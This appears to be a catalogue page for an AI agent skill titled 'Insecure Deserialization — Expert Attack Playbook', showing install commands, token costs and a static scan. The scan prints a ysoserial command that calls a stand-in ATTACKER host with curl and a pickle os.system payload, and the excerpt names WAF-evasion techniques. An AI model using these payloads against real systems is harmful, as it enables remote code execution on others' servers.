deserialization-insecure

A security playbook for finding and assessing insecure deserialization in Java, PHP, and Python applications. Deserialization turns stored or received data back into program objects; unsafe handling can allow code execution, file access, or higher privileges.

In plain words
What is it for?
Use it to assess Java ObjectInputStream, PHP unserialize, Python pickle, and similar deserialization paths, including related JNDI or exposed-service cases.
Why use it?
It helps security testers understand both the unsafe data-processing point and the exploit techniques that may make it useful to an attacker. It covers several language-specific formats and gadget chains, which are sequences of existing code used in an exploit.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/miru-zero/zero-brain/deserialization-insecure
Any agent
npx skills add miru-zero/zero-brain --skill deserialization-insecure
Clone the repo
git clone --depth 1 https://github.com/miru-zero/zero-brain

Made for: Claude Code, Codex.

Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 6,580 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. Scan, not verified.
Origin 94% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00052 $0.06580
Opus 5 $0.00026 $0.03290
Sonnet 5 $0.00010 $0.01316
Haiku 4.5 $0.00005 $0.00658

Measured 2d ago against content hash 77c3d42d98c3, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

deserialization-insecure scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ("id",))
Origin

This is a copy

94% identical to deserialization-insecure — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/deserialization-insecure/SKILL.md · 726 lines

How it starts

The opening of the file, as written. The whole thing — 726 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Insecure Deserialization — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.

  • jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
  • unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
  • ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson @type payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint

Advanced Reference

Also load JAVA_GADGET_CHAINS.md when you need:

  • Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
  • SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
  • Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
  • .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
  • Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
  • Detection fingerprints: magic bytes table by format (Java AC ED, .NET AAEAAD, Python pickle 80 0N, PHP O:, Ruby 04 08)

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

Java Serialized Objects

Indicator Where to Look
Hex ac ed 00 05 Raw binary in request/response body, cookies, POST params
Base64 rO0AB Cookies (rememberMe), hidden form fields, JWT claims
Content-Type: application/x-java-serialized-object HTTP headers
T3/IIOP protocol traffic WebLogic ports (7001, 7002)

Read the full file on GitHub · 726 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 726 lines · 52 tokens per session scan A 77c3d42d98c3

Subscribe to this mod's changes

deserialization-insecure is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 15d ago), licensed MIT. It adds 52 tokens to every session and 6,580 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 94% identical to deserialization-insecure, differing in 4 lines, and is treated as a copy.

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